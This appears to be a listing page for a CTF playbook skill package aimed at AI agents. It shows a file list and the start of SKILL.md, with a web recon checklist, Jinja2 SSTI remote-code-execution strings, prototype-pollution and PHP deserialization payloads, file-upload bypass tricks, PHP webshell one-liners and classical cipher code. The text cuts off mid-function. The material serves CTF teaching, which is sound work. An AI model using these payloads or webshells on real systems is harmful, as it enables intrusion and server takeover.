ctf-playbook

Files (35)

• SKILL.md
• advanced-rsa-attacks.md · references/
• advanced-stack-exploitation.md · references/
• authenticated-encryption-attacks.md · references/
• awesome-ctf-tools.md · references/
• bash-restriction-bypass.md · references/
• blockchain--cryptocurrency-crypto.md · references/
• cross-architecture-pwn.md · references/
• ctf-automation-script.md · references/
• ctf-workflow-methodology.md · references/
• deep-knowledge-references.md · references/
• ecc-deep-attacks.md · references/
• elliptic-curve-cryptography-ecc-attacks.md · references/
• forensics.md · references/
• fsop--file-stream-oriented-programming.md · references/
• gdbpwndbg-advanced.md · references/
• hash-attacks.md · references/
• historical-ciphers--specialized-attacks.md · references/
• integer-overflow--type-confusion.md · references/
• kernel-exploitation.md · references/
• lattice-based-attacks.md · references/
• lattice-cryptography-deep-dive.md · references/
• mitigation-bypass-techniques.md · references/
• osint-in-ctf-context.md · references/
• pitfalls.md · references/
• pwn--binary-exploitation.md · references/
• pwntools-advanced-usage.md · references/
• python-sandbox-bypass.md · references/
• quantum--post-quantum.md · references/
• reverse-engineering.md · references/
• side-channel--fault-attacks.md · references/
• steganography.md · references/
• symmetric-cryptanalysis.md · references/
• v8browser-exploitation.md · references/
• zkp--protocol-attacks.md · references/

SKILL.md (first lines)

# CTF Playbook

Comprehensive playbook for CTF competitions. Each category has its methodology, tools, common challenges, and exploit patterns.

## Category Quick Reference
| Category | Common tools | Typical challenges |
|:---------|:-------------|:-------------------|
| **Web** | Burp Suite, curl, Python requests | SQLi, XSS, SSTI, LFI, SSRF, deserialization, JWT |
| **Crypto** | Python, SageMath, CyberChef, RsaCtfTool | RSA, AES, padding oracle, hash collisions, classical ciphers |
| **Reverse Engineering** | Ghidra, IDA Free, radare2, gdb, angr | Binary analysis, obfuscation, packing, custom VMs |
| **PWN** | pwntools, gdb/pwndbg, ROPgadget, checksec | Buffer overflow, ROP, format string, heap exploitation |
| **Forensics** | binwalk, foremost, volatility, Wireshark, strings | File carving, memory forensics, PCAP analysis, disk images |
| **Steganography** | steghide, zsteg, stegsolve, exiftool, binwalk | Image stego, audio stego, LSB, metadata |
| **OSINT** | Google dorking, Shodan, WHOIS, social media | Geolocation, image analysis, social engineering |
| **Misc** | Everything else | Programming, logic puzzles, game hacking, protocols |

---

## WEB
### Quick Start — The Web Checklist

```
1. View page source (Ctrl+U) — comments, hidden fields, debug info
2. Check robots.txt, sitemap.xml, .git/, .env, .DS_Store
3. Check all cookies, localStorage, sessionStorage
4. Check HTTP headers (X-Powered-By, Server, Set-Cookie)
5. Try default credentials (admin:admin, admin:password)
6. Test for SQLi in every parameter
7. Test for SSTI if {{7*7}} appears in output
8. Test for LFI with ../../etc/passwd
9. Check file upload for unrestricted types
10. Look for JWT tokens — try alg:none, weak secrets
```

### Common CTF Web Vulnerabilities

```python
# SSTI quick check — if {{7*7}} outputs 49, SSTI exists
SSTI_CHECK = '{{7*7}}'

# Flask/Jinja2 RCE
JINJA2_RCE = "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
JINJA2_RCE_ALT = "{{ config.__class__.__init__.__globals__['os'].popen('cat /flag*').read() }}"

# PHP type juggling
PHP_MAGIC_HASH = '240610708'  # == 'QNKCDZO' in PHP loose comparison
PHP_TYPE_JUGGLE = {
    '0e12345': '0e67890',  # both evaluate to 0 in scientific notation
    'NULL': 'array() == NULL in PHP < 8',
}

# Node.js prototype pollution
NODE_PROTO = '{"__proto__":{"isAdmin":true}}'
NODE_PROTO2 = '{"constructor":{"prototype":{"isAdmin":true}}}'

# Deserialization
PHP_UNSERIALIZE_POP = '''
O:8:"Example1":1:{s:10:"cache_file";s:14:"/tmp/shell.php";}
'''
```

### File Upload Bypass Techniques

```python
FILE_UPLOAD_BYPASS = {
    'double_extension': 'shell.php.jpg',
    'null_byte': 'shell.php%00.jpg',
    'mime_bypass': "Content-Type: image/jpeg (with .php content)",
    'magic_bytes': 'GIF89a;\\n<?php system($_GET["cmd"]); ?>',  # starts with GIF header
    'svg_xss': '<svg/onload=alert(1)>',
    'phar_file': 'Create .phar archive with PHP payload',
    'htaccess': 'Upload .htaccess to execute custom extensions',
    'polyglot': 'Create files valid as both image and PHP',
}

# PHP webshell one-liner (for file upload challenges)
PHP_WEBSHELLS = [
    '<?php system($_GET["cmd"]); ?>',
    '<?php echo shell_exec($_GET["cmd"]); ?>',
    '<?=`$_GET[0]`?>',  # shortest
    '<script language="php">system($_GET[0]);</script>',
]
```

---

## CRYPTO
### Classical Ciphers

```python
# Caesar cipher
def caesar(text: str, shift: int) -> str:
    result = []
    for c in text:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            result.append(chr((ord(c) - base + shift) % 26 + base))
        else:
            result.append(c)
    return ''.join(result)

# Vigenère cipher
def vigenere(text: str, key: str, decrypt: bool = True) -> str:
    result = []
    key_idx = 0
    for c in text:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            shift = ord(key[key_idx % len(key)].upper()) - ord('A')
            if decrypt:
                shift = -shift
            result.append(chr((ord(c) - base + shift) % 26 + base))
            key_idx += 1
        else:
            result.append(c)
    return ''.join(result)

# XOR cipher
def xor_decrypt(data: bytes, key: bytes) -> bytes:

From Wang200935/security-agent-skills, MIT.

More from Wang200935/security-agent-skills